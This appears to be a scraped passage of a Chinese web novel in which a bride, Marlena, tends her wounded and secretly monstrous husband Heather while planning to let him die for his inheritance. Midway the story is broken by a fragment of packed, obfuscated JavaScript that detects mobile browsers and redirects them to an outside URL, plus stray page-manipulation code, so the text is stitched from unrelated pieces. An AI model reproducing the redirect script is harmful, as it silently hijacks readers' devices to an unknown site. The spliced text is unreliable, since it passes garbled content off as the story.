“没事,”玛莲娜胡乱揉了一下他的发顶,以示安抚,“你往旁边挪一些。我去看看妈妈是否安好,马上就回来陪你。” 希瑟尔仿佛没有听见她说话,仍然固执地趴在地上,用鼻尖贴住她的脚踝。 “玛莲娜,不要走。” “请你先放开我,好不好?” “不。” 公爵之子仿佛失去了理智,突然吻向她露在外面的脚背。 薄薄的皮肤遮盖不住青色血管的纹路。他冰凉而柔软的唇瓣来回摩挲最中间那一处皮肤,轻柔按压着凸起的血管。 可耻的痒意转化为滚烫的酥麻,冲向她的头顶。 “让开!” 玛莲娜十分气恼,左脚以清除障碍为首要目标,朝旁边踢去。 希瑟尔脸上挨了一记,立即松开了她的腿。 玛莲娜根本来不及关注他的反应,直接离开了卧室。 走廊之内,护卫们一个个坐在地上,背靠墙边,头颅垂下,像是陷入了沉睡。 玛莲娜奔跑许久,总算到达了母亲的房间。不知是不是错觉,她竟然没有感觉到一丝疲惫。 “妈妈,你有没有受伤?” 多萝西娅正在协助丹娜搬运骑士的尸体,气喘吁吁:“玛莲娜,不用管我,你先回去销毁日炎骑士的血迹和残骸。” 玛莲娜捂住胸口,心中一松。刚才,她过于担心母亲,失去了冷静,居然没有第一时间毁尸灭迹。 她快速跑回卧室,用力推开门。 六具尸体竟然消失了。 玛莲娜眸中闪过震惊,立即看向地面与地板处。 一切都无比整洁干净,仿佛那场残酷的打斗根本没有发生。 等一下,她刚才推开的是什么? 玛莲娜猛然回头,看向身后的卧室门。 繁复的乌木雕刻宛如弯曲的嘴角,无声嘲笑着她。 玛莲娜呼吸一滞——她记得,这扇门先前就被日炎骑士烧毁了。 她离开的这段时间内,到底发生了什么事?帮她清理现场的人,难道是劳拉? “玛莲娜,我因你而受伤,你为什么迟迟不愿看向我?” 丈夫的声音打断了她的思考。 “希瑟尔,我刚刚在忙其他事,没顾得上你——” 她低下头,与他目光交汇。 那对线条优美的眼眸一动不动地凝望着她。 紫色幽深,她不禁感到一阵目眩神迷,仿佛置身于另外一个世界。 玛莲娜深吸了一口气,不再和他对视:“我先扶你去床上躺好,再喊人来救治你,好不好?” 说完,她蹲下身子,捞起希瑟尔的臂膀,试图把他搀扶起来。 希瑟尔顺从地揽住她的脖子,整个人靠在她的身上,虚弱到几乎摔倒。 “谢谢你,玛莲娜,你真好。”他趴在她颈侧,轻言细语。 过于悦耳的话语声滚过她脸侧的肌肤,激起微弱的颤栗。 她拨动发丝,无情地隔开自己的脸颊与他的唇瓣:“你先不要说话。” “玛莲娜,你为什么要踢我的脸?你难道不喜欢它么?” “你太敏感了,希瑟尔。我没有踢你的脸,而是不小心碰到了它。” 希瑟尔的语气骤然变冷:“你一直在跟那个女人说话,是因为她救了你么?我也救了你,你为什么不和我说话?” 她怎么觉得,他的话越来越多了? 婚礼当天经历了一堆破事,本就让她心烦。希瑟尔还喜欢缠着她,一点眼力见也没有。 但无论如何,他是因为替她挡祷术而受伤的——虽然那些祷术攻击对她无效。 玛莲娜抿唇,压制住内心的烦躁,索性拒绝回答他的问题。 她用最后一点良心将他扶上床。 希瑟尔艰难地挪到床沿,强撑着平躺了下来。 玛莲娜震惊地看着他:“你这样压住后背的伤口,不疼么?” 她本来想帮他摆成趴下的姿势。 “嗯......好疼。”面对她的提问,希瑟尔睫毛颤动,自唇间溢出一道低低的痛呼。 玛莲娜叹息:“你等等,我先出去一下。” 他一把抓住她的手腕,似乎有话要说。 她抽回自己的手,扭头避开他的目光,快步走向门口。 公爵之子声音木然:“玛莲娜,你又要离开我么?” 玛莲娜停住脚步:“我得叫人去找医生,过一会儿再回来看你。你受伤的原因十分特殊,肯定不能由神殿的人医治。” 等等,她为什么要帮他找医生?她为什么要将他搀扶至床边? 她的目的是获得公爵家族的财产。只要希瑟尔死了,她就能继承他的一切。 她理应放任他伤口恶化,痛苦死去。 但是......她真的要如此冷酷无情吗?危险来临时,希瑟尔冒着生命危险护住了她,才身受重伤。 玛莲娜在门口站了片刻,没有立即离开。 希瑟尔挣扎着坐了起来:“有你在这里陪我,就已经足够。我好疼,你可以过来陪我吗?” 有他这句话,她心中的石头顿时落地——是他自己不让她去叫医生的。 所以,他就算死了,也是自找的。 既然她早已下定决心让他“病逝”,就不应该有半分犹豫。 玛莲娜面带微笑,重新返回到丈夫的床边。 “翻身,让我看看你的伤口。” 希瑟尔眸中闪过一丝兴奋,顺从地翻了个身,向她展示自己的背部。 “疼吗?”玛莲娜随口问了一声,以示关心。 “疼。”他眉头微蹙,立即表现出无与伦比的痛苦。 华贵的衣料一片焦黑,存在多处破洞,隐约露出猩红色的血肉,的确惨不忍睹。 “不要担心,一切很快会过去的。” 她屈起手指,用指节轻轻拂过其中一块血红之地。 希瑟尔上半身骤然紧绷,不受控制地歪向里侧。 玛莲娜瞟了一眼他背上那片血红伤口,忽见它颜色转淡,像是被人抹了一层白灰。 她难以置信地眨了一下眼睛,继续盯住那一处。 伤口呈现出纯正的猩红之色。 刚才的白色伤口,究竟是幻觉,还是真实存在的景象? 怀疑与不安再一次涌上心头——希瑟尔身上,是否真的存在着古怪? 还是说,她之前看到的蛇与白色伤口,其实都源于公爵夫人对她的“诅咒”?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038720|134975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 玛莲娜收回手指,帮他盖上了被子。 她本应该帮他清理伤口,但她已经下定了决心,任由他“病逝”。 希瑟尔背对着她,让她无法看清他的神情。 “玛莲娜,我变成这样,你害怕吗?”他闷笑了一声。 趁她仍在观察他的“伤口”,一根触腕从被窝的末端钻了出来,迫不及待地拢住她的双脚。 她故作镇静:“你伤成这样,还能笑得出来?” 希瑟尔的语气中透露出欣喜:“你关心我,眼里只有我,我好高兴......你还帮我盖了被子。” “你受伤了。我不关心你,还能关心谁呢?” “如果我受了更重的伤,你会更加关心我吗?” 玛莲娜坐到床沿之上,伸出手臂揽住了他的头:“那是当然。” “疼。”希瑟尔的身体颤抖了一下。 玛莲娜迅速从被子底下捞出他冰冷的左手,紧紧握住。 “我就在这里。”她柔声道。 他挣扎着翻过身,望向她的乌眸:“我伤口好疼......玛莲娜,我是不是要死了?” “别想这么多。” 玛莲娜倾身吻向他的额头。 希瑟尔闭上眼睛,安静地等待她的唇贴近自己,异常乖顺。 他脖颈之处悄悄裂开了一条缝隙。一只带有竖瞳的紫色眼眸肆无忌惮地打量着她的唇瓣。 温热的唇与冰寒的肌肤相触,能给双方带来很大的刺激。 一吻结束,希瑟尔睁开眼睛,轻声向她抱怨:“疼。” 他是故意的?玛莲娜眯起眼睛。 “疼。”他望着她,眸光闪动。 玛莲娜在心中冷笑了一声。他居然催她! 刚才,这个家伙显然发现了规律,并且乐在其中——一次痛呼,就能换她主动亲近一次。 他以为他在驯狗呢? 她绝对不能让他处于主导的位置。 “你骗我,”玛莲娜目光转冷,“希瑟尔,你的伤势根本没有那么重,对不对?抱歉,我不想在这里陪你了。” 说完,她松开了他的左手。 那根触腕不再虚拢她的双脚,而是重新返回到被子下方,与其他触腕缠在一起,打了个结。 “不要。”希瑟尔抗议。 玛莲娜轻蔑地看着他:“新婚之日,你作为丈夫,竟然对妻子行欺骗之举。下一步,你是不是就要背叛我们的婚姻?从现在开始,我不会理你,也不会与你搭话。” “不。” 触腕的尖端紧紧抵住床单,几乎要将床单戳烂。 有一片鳞甲黯淡了下来,彻底失去了美丽的光泽,不幸脱落——这是正常的生理现象,因为人类在焦虑的时候也会掉头发。 她竟敢不理他!他的猎物真是没有一丝自知之明!他现在就要让她知道,他才是她的主宰! “除非——你的伤势确实很重。”她话音一转,加了个简单的条件。 触腕骤然放松,横躺在被窝之下。 捏造出各种可怕的伤口,对他来说简直是轻而易举。 “好。”他轻轻应了一声。 玛莲娜不再理会希瑟尔,直接走出了房间。 教会已经把她设为目标,她实在没空和公爵之子继续浪费时间。 她要让希瑟尔明白,他在受伤之后只能依赖她。 无论如何,他都得“病逝”。他若是乖一点,她不介意想点办法减轻他死前的痛苦。